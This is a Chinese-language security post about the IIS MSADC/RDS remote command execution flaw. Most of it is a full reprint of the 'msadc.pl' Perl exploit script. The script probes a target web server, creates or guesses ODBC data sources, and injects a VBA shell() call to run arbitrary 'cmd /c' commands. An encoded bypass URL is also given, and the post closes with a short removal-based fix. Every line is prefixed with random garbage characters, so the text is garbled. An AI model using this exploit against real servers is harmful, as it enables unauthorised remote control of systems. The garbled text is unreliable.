IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W$X@DXT=o
UFLN/ 涉及程序：
;F:~HrxT} Microsoft NT server
=gjq@N]lAW S)h0@; q 描述：
ap xY2o E& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P}k p_l27 |dxcEjcY_ 详细：
A&:i$`m, 如果你没有时间读详细内容的话，就删除:
T1&^IO-F7$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
g[d.lJ=Q-N 有关的安全问题就没有了。
V?*\ISB`} .9Y,N&V<H 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
M#PutrH |Qe #[Q7 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
zL<<`u? 关于利用ODBC远程漏洞的描述，请参看:
! 9U ; F;"Uw http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .%'$3=/oe L
=kc^dU 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
pRAdo=" http://www.microsoft.com/security/bulletins/MS99-025faq.asp !7KSNwGu GkT:7`|C 这里不再论述。
~fDMzOd }zkMo ? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
*y x&4)Or HZH zjrx /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>O:31 Uk 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}95; qyQ$ E_[)z%& n2 F;Lg
w^1! #将下面这段保存为txt文件，然后: "perl -x 文件名"
4KkjBPV ,> ^6ztM #!perl
S-8wL%r #
2K Um(B.I # MSADC/RDS 'usage' (aka exploit) script
@DYxDap{ #
R6N+c\W # by rain.forest.puppy
Imi#$bF6 #
@vC7j>*4B # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
45u\v2,C3 # beta test and find errors!
%L\buwjy$ *r &q;ER use Socket; use Getopt::Std;
J9kmIMq-C getopts("e:vd:h:XR", \%args);
FHu
-'; =deqj^&@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9<9 c^2 > Y h7By if (!defined $args{h} && !defined $args{R}) {
1%;o-F@ print qq~
:UyNa0$l:" Usage: msadc.pl -h <host> { -d <delay> -X -v }
Gxtb@` f -h <host> = host you want to scan (ip or domain)
7h3#5Y -d <seconds> = delay between calls, default 1 second
Kf.G'v46 -X = dump Index Server path table, if available
BDeX5/`U# -v = verbose
!&3iZQGWv -e = external dictionary file for step 5
~is$Onf99# epWO}@
b a Or a -R will resume a command session
x*EzX4$x _msV3JBr ~; exit;}
>|"mhNF _m
*8f\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
PMdvBOtS` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
P?y3Yx S if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8+L,a_q- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
T\G2B*fGd $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
),<E-Ub if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q\B048~KK [Ipg",Su;f if (!defined $args{R}){ $ret = &has_msadc;
[BH^SvE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
jWg7RuN ~4YLPMGKl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
R3G+tE/Y . "cmd /c ";
Q}a,+*N. $in=<STDIN>; chomp $in;
@wy&Z $command="cmd /c " . $in ;
", b3C. :%!}%fkxH if (defined $args{R}) {&load; exit;}
jAa{;p"j U "71,vUW print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=?*6lS}gy &try_btcustmr;
A?DgeSm &nc 0stuL print "\nStep 2: Trying to make our own DSN...";
urlwn*!^s &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(|6Y1`` D['z/r6F print "\nStep 3: Trying known DSNs...";
S G&VZY &known_dsn;
y U-^w^4 eYER "E print "\nStep 4: Trying known .mdbs...";
'E4`qq &known_mdb;
^ l UV^%f Qg7rkRia if (defined $args{e}){
YpAJ7 E|7 print "\nStep 5: Trying dictionary of DSN names...";
"k8Yc<`u &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
b.`<T "y X `[P11` print "Sorry Charley...maybe next time?\n";
JQ>GKu~ exit;
Vr1Wr%
Y: ~A-_ ##############################################################################
l1_Tr2A}7/ G2bZl%
,D sub sendraw { # ripped and modded from whisker
+>em
!~3 sleep($delay); # it's a DoS on the server! At least on mine...
23lLoyN my ($pstr)=@_;
r ((2.,\Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B@:c 8}2. die("Socket problems\n");
+0w~Skd, if(connect(S,pack "SnA4x8",2,80,$target)){
d 6$,iw@>^ select(S); $|=1;
V)$y print $pstr; my @in=<S>;
NZJ:@J=- select(STDOUT); close(S);
jm-J_o;}z6 return @in;
hmA$gR_ } else { die("Can't connect...\n"); }}
*H"IW0I p19[qy~. ##############################################################################
@>wD`< U| j|`6[93MG sub make_header { # make the HTTP request
hPC t- my $msadc=<<EOT
Bf72 .gx{0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~ wMdk9RQ User-Agent: ACTIVEDATA
Bs@!S? Host: $ip
6@7K\${ Content-Length: $clen
O8 ; `6r Connection: Keep-Alive
fn%Gu s~ u|!On ADCClientVersion:01.06
jRswGMx Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&C~R* N1 lhlw6 --!ADM!ROX!YOUR!WORLD!
9`"o,wGX3 Content-Type: application/x-varg
sr0.4VU1 Content-Length: $reqlen
F{# m~4O LQ,RQ~! EOT
U4D Q+g(A ; $msadc=~s/\n/\r\n/g;
0W asE1t| return $msadc;}
z7[TgL7 Yy 4EM ##############################################################################
DCJmk6 p%0 ]s*Fs]1+H sub make_req { # make the RDS request
7eQE[C my ($switch, $p1, $p2)=@_;
>^1|Mg/!> my $req=""; my $t1, $t2, $query, $dsn;
hSxlj7Eo^T xW$F-n if ($switch==1){ # this is the btcustmr.mdb query
o/EN3J $query="Select * from Customers where City=" . make_shell();
j@kL`Q\&I $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/`M> 3q[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$/\b `ID 9;Z 2.P"w elsif ($switch==2){ # this is general make table query
63s<U/N $query="create table AZZ (B int, C varchar(10))";
+N161vo7 $dsn="$p1";}
' bH',X8gF 0p8Z l elsif ($switch==3){ # this is general exploit table query
;2o+|U @ $query="select * from AZZ where C=" . make_shell();
pK)*{fC$` $dsn="$p1";}
p^2"g~ '}3m(' u elsif ($switch==4){ # attempt to hork file info from index server
T6X%.tR>` $query="select path from scope()";
-hM
nA)+ $dsn="Provider=MSIDXS;";}
u
N%RB$G _eB?G elsif ($switch==5){ # bad query
ep"YGx[V $query="select";
64Ot`=A" $dsn="$p1";}
4 _CV.? /UJ@ e $t1= make_unicode($query);
87/!u]q $t2= make_unicode($dsn);
}uI(D&?+h $req = "\x02\x00\x03\x00";
A),nkw0X $req.= "\x08\x00" . pack ("S1", length($t1));
E$$pO.\ $req.= "\x00\x00" . $t1 ;
Mo+ mO&B $req.= "\x08\x00" . pack ("S1", length($t2));
NDG3mCl $req.= "\x00\x00" . $t2 ;
r ]XXN2[jO $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5e!YYt > return $req;}
o8 A]vaa / 38b :, ##############################################################################
8
S'g% jzuOs,:R sub make_shell { # this makes the shell() statement
/PP \L ]( return "'|shell(\"$command\")|'";}
2gn*B$ a n-h2SQl ! ##############################################################################
#z|\AmZ\ ~[@Gj{6p0 sub make_unicode { # quick little function to convert to unicode
^y@ RfM=A my ($in)=@_; my $out;
~<M/<%o2* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
sGNVZx return $out;}
dg%Orvu z 9N H"Ik* ##############################################################################
6 E9y[ %+ <Sxsmf0" sub rdo_success { # checks for RDO return success (this is kludge)
>".,=u ' my (@in) = @_; my $base=content_start(@in);
m6%csh-N1 if($in[$base]=~/multipart\/mixed/){
jL$&]sQ`O) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
F{1;~ Yg% return 0;}
P]bq9!{1 % -~W|Y ##############################################################################
@PXb^x#k G)(\!0pNZ sub make_dsn { # this makes a DSN for us
O<3i6 my @drives=("c","d","e","f");
PZ/ g D print "\nMaking DSN: ";
$9 G RA M. foreach $drive (@drives) {
^!]Hm&.a print "$drive: ";
,"U8Fgf[r my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!/4f/g4Ze "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>Z#=< . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Wsn}Y-x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
RP]hW{:U return 0 if $2 eq "404"; # not found/doesn't exist
j @c
fR if($2 eq "200") {
M@a?j<7P,m foreach $line (@results) {
4X2XS K4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
SnK j:|bV } return 0;}
{(}Mu R >wK ^ W{ ##############################################################################
ALw5M'6q0\ ={9G.%W sub verify_exists {
[\o+I:,}wi my ($page)=@_;
gf!hO$sQ3 my @results=sendraw("GET $page HTTP/1.0\n\n");
h & 7 ]Bp return $results[0];}
[3a -1, 5 5vpnRM ##############################################################################
'1)BZ!
aqvt$u8 sub try_btcustmr {
>3H/~ Y my @drives=("c","d","e","f");
tuA,t my @dirs=("winnt","winnt35","winnt351","win","windows");
*_<P% J Lc>9[! +# foreach $dir (@dirs) {
WA-`
*m$v print "$dir -> "; # fun status so you can see progress
m`<Mzk.u< foreach $drive (@drives) {
RUTlwTdv print "$drive: "; # ditto
T^ -fn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t#+X*'/ $reqlenlen=length( "$reqlen" );
R5LzqT,/N: $clen= 206 + $reqlenlen + $reqlen;
15Vb`Vf`N ; 6W lu3I my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%K^l]tWa@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
q #f
U* else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$tyF(RybG +w Oa ##############################################################################
,jWMJ0X/N= i/rdPbq sub odbc_error {
/# Y)nyE
my (@in)=@_; my $base;
M.K-)r, my $base = content_start(@in);
73/kyu-0% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s)$N&0\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-Iz&/u *}f $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EAQg4N:D7L $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7%Zl^c>q return $in[$base+4].$in[$base+5].$in[$base+6];}
4!Ez# \ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
wiWpzJz print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s8| =1{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x^aqnKoJ%\ uX{n#i,~L ##############################################################################
=
GirUW D I__|+%oC sub verbose {
ag^L' h$ my ($in)=@_;
.BGM1ph}~ return if !$verbose;
"|CzQ&e print STDOUT "\n$in\n";}
qkC+9Sk mrDIt4$D ##############################################################################
P&3' N~k- SCk2D!u sub save {
~U&,hFSPY my ($p1, $p2, $p3, $p4)=@_;
&6A'}9 Ch open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3kFOs$3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7s_#X|A$ close OUT;}
&H!3] R}F0_. ##############################################################################
hkw;W[ZWa bkkhx,Oi[G sub load {
gnmKh>0@6o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q10gKVJum open(IN,"<rds.save") || die("Couldn't open rds.save\n");
orn9;|8q @p=<IN>; close(IN);
& | %<=\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
BP2-LG&\ $target= inet_aton($ip) || die("inet_aton problems");
]gYnw;W$ print "Resuming to $ip ...";
; >3q@9\D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ev;HV}G if($p[1]==1) {
3jPua)=p $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FjIS:9^)t5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_^Lv8a3(O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t>|Y-i3cb if (rdo_success(@results)){print "Success!\n";}
|R:gu\gG else { print "failed\n"; verbose(odbc_error(@results));}}
tS ,nO:+x elsif ($p[1]==3){
) W)m?% if(run_query("$p[3]")){
zVe@`gc print "Success!\n";} else { print "failed\n"; }}
7
Xe|P1@) elsif ($p[1]==4){
!b0'd'xe if(run_query($drvst . "$p[3]")){
DGr{x}Kq print "Success!\n"; } else { print "failed\n"; }}
]Mi
~vG
q exit;}
78>)<$+d 2b xkZS] ##############################################################################
IbC(/i#%` 2yR*<yj sub create_table {
\]}|m<R my ($in)=@_;
/ ]_T $reqlen=length( make_req(2,$in,"") ) - 28;
!s#25}9zX5 $reqlenlen=length( "$reqlen" );
qd"1KzQ WO $clen= 206 + $reqlenlen + $reqlen;
Ar4E $\W my @results=sendraw(make_header() . make_req(2,$in,""));
6 lO]V=+ return 1 if rdo_success(@results);
VTySKY+ my $temp= odbc_error(@results); verbose($temp);
qEr2Y/:i" return 1 if $temp=~/Table 'AZZ' already exists/;
emOd<C1A return 0;}
aO('X3? ZB GLwe ##############################################################################
fv_}7t7 Zpg/T K sub known_dsn {
-_Pd d[M # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Qk<W(
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
gO%#'Eb2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,ii*[{ X? "banner", "banners", "ads", "ADCDemo", "ADCTest");
C%d\DuJ5'~ c4ptY5R), foreach $dSn (@dsns) {
$A"kHS7T print ".";
KJ<7aZ next if (!is_access("DSN=$dSn"));
y0cHs|8 if(create_table("DSN=$dSn")){
BJ!b LQ print "$dSn successful\n";
?| '+5$ if(run_query("DSN=$dSn")){
B1 T:c4:N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:@) UI, print "Something's borked. Use verbose next time\n";}}} print "\n";}
SA&0f&07i F>Rz}-Fy ##############################################################################
km2('t7? ;LE4U OK sub is_access {
} r$&"wYM my ($in)=@_;
}]_/:KUt $reqlen=length( make_req(5,$in,"") ) - 28;
a AZS^S4v $reqlenlen=length( "$reqlen" );
K,e"@G $clen= 206 + $reqlenlen + $reqlen;
0UZ>y/
C)= my @results=sendraw(make_header() . make_req(5,$in,""));
fyP p zA0 my $temp= odbc_error(@results);
\O5`R- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
|m7U^ return 0;}
~K}iVX $2qZds[ ##############################################################################
R06L4,/b $X8(OS5d' sub run_query {
,#[0As29u my ($in)=@_;
t Ft56/4 $reqlen=length( make_req(3,$in,"") ) - 28;
zY~ $reqlenlen=length( "$reqlen" );
ZC 7R f $clen= 206 + $reqlenlen + $reqlen;
~Q"3#4l my @results=sendraw(make_header() . make_req(3,$in,""));
^;jJVYx-PP return 1 if rdo_success(@results);
^T@ (`H4@ my $temp= odbc_error(@results); verbose($temp);
bh|M]*Pq return 0;}
yQE|FbiA .g Tla ##############################################################################
Hs/
aU _ \"Z^{Y[,; sub known_mdb {
AE`X4 q my @drives=("c","d","e","f","g");
*,<A[XP my @dirs=("winnt","winnt35","winnt351","win","windows");
vdw5T&Q{{C my $dir, $drive, $mdb;
z<aB GG my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D/)wg$MI l+!!S"=8)~ # this is sparse, because I don't know of many
's> my @sysmdbs=( "\\catroot\\icatalog.mdb",
&5puGnTZ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
W_l/Jpv!W "\\system32\\certmdb.mdb",
G n"]<8yl~ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
q/U(j&8W{ |57u ; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
H'k $<S "\\cfusion\\cfapps\\forums\\forums_.mdb",
Oxs O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
.[&0FHnJ5 "\\cfusion\\cfapps\\security\\realm_.mdb",
l?pF ?({ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
0$)s? \ "\\cfusion\\database\\cfexamples.mdb",
m ;-FP 2~ "\\cfusion\\database\\cfsnippets.mdb",
ws8@y r<R "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#HFB* > "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
fB^h2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
|,3 s]b` "\\cfusion\\database\\smpolicy.mdb",
R<. <wQ4I "\\cfusion\\database\cypress.mdb",
uQh dg4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
MU6|>{ "\\website\\cgi-win\\dbsample.mdb",
3FRz&FS:j "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
n%'M?o]DF "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2gM=vaiH= ); #these are just
oSVo~F foreach $drive (@drives) {
rR `'l=,t foreach $dir (@dirs){
]0v;;PfVl6 foreach $mdb (@sysmdbs) {
%Aaf86pkp print ".";
A ! Em J if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?bFP' . print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]xGo[:k|E if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
l-s%3E3 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
EWOS6Yg7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
l
e+6;'Q :"m~tU3& foreach $drive (@drives) {
=&+]>g{T foreach $mdb (@mdbs) {
V{ !fa g print ".";
k3[rO}>s if(create_table($drv . $drive . $dir . $mdb)){
V~#e%&73FH print "\n" . $drive . $dir . $mdb . " successful\n";
m] H[$ Q if(run_query($drv . $drive . $dir . $mdb)){
$+(Df|) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%
mP%W< } else { print "Something's borked. Use verbose next time\n"; }}}}
U'(Exr [ }
L{`S^'P< 5mzOr4 *0 ##############################################################################
&UzeNL"] :`u?pc27Sm sub hork_idx {
WFWQ;U{| print "\nAttempting to dump Index Server tables...\n";
^gw htnI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[6 d~q]KH $reqlen=length( make_req(4,"","") ) - 28;
^RL #(O $reqlenlen=length( "$reqlen" );
nc<w D E6 $clen= 206 + $reqlenlen + $reqlen;
5x $/.U
my @results=sendraw2(make_header() . make_req(4,"",""));
`O~NT'Ed8 if (rdo_success(@results)){
Mc8|4/<Z my $max=@results; my $c; my %d;
u&4CXv= for($c=19; $c<$max; $c++){
5ggmS<= $results[$c]=~s/\x00//g;
fZ QL!j4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q/T(s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
t "y[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-NzO ,? $d{"$1$2"}="";}
D l C\sm foreach $c (keys %d){ print "$c\n"; }
Zl ,c+/ } else {print "Index server doesn't seem to be installed.\n"; }}
}"}
z7Xb0 So?.V4aD_ ##############################################################################
3=[#(p: W& M=% sub dsn_dict {
3k YVk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
N$'/J-^ while(<IN>){
2!-? $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Q1ox<- next if (!is_access("DSN=$dSn"));
7RXTQ9BS if(create_table("DSN=$dSn")){
1Yr&E_5/ print "$dSn successful\n";
N5W;Zx] if(run_query("DSN=$dSn")){
b5!\"v4c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NO$n-<ag print "Something's borked. Use verbose next time\n";}}}
|E{tS,{OhJ print "\n"; close(IN);}
]JGh[B1gh FEOr'H<3x ##############################################################################
L >*
F8 |g +SM &_b sub sendraw2 { # ripped and modded from whisker
9gu$vF]9! sleep($delay); # it's a DoS on the server! At least on mine...
w$5~ 'Cbi my ($pstr)=@_;
j[E8C$lW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[cJQ"G ' die("Socket problems\n");
%62W[Oh5 if(connect(S,pack "SnA4x8",2,80,$target)){
$O\I9CGr$ print "Connected. Getting data";
>Xz=E0;^Ua open(OUT,">raw.out"); my @in;
? PI q/[tk select(S); $|=1; print $pstr;
~Te9Lq | while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
oA nNdo close(OUT); select(STDOUT); close(S); return @in;
L# } else { die("Can't connect...\n"); }}
T/ [8w Z)JJ- V!
##############################################################################
J A=9EnTU Sf_q;Ws sub content_start { # this will take in the server headers
w)Rtt 9 my (@in)=@_; my $c;
It5U=PU for ($c=1;$c<500;$c++) {
;Avz%2#c` if($in[$c] =~/^\x0d\x0a/){
%_kXC~hH_ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
A$6T) else { return $c+1; }}}
oK-T@ &- return -1;} # it should never get here actually
M-#OPj* y15 MWZ ##############################################################################
M x-? & P4\{be>e sub funky {
7g* "AEk my (@in)=@_; my $error=odbc_error(@in);
kn X*fp if($error=~/ADO could not find the specified provider/){
I "8:IF print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"7]YvZYu0 exit;}
ZsgJ6
Y if($error=~/A Handler is required/){
rNi]|)-ET print "\nServer has custom handler filters (they most likely are patched)\n";
`.MY" g9 exit;}
+*W9*g l if($error=~/specified Handler has denied Access/){
#!A'6SgbkM print "\nServer has custom handler filters (they most likely are patched)\n";
xJ-(]cO' exit;}}
&Zxo\[lP /w!!jj^ ##############################################################################
MD"a%H#p Ok0zgi sub has_msadc {
Q3@MRR^tY my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"8 .to=Lx my $base=content_start(@results);
{ r.KY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
`:aml+ return 0;}
34D7qR RJYB=y8l ########################
|D@/4B1P B-R& v8F Mk3~%` 解决方案：
`Kt]i5[ " 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
slQxz;t 2、移除web 目录: /msadc
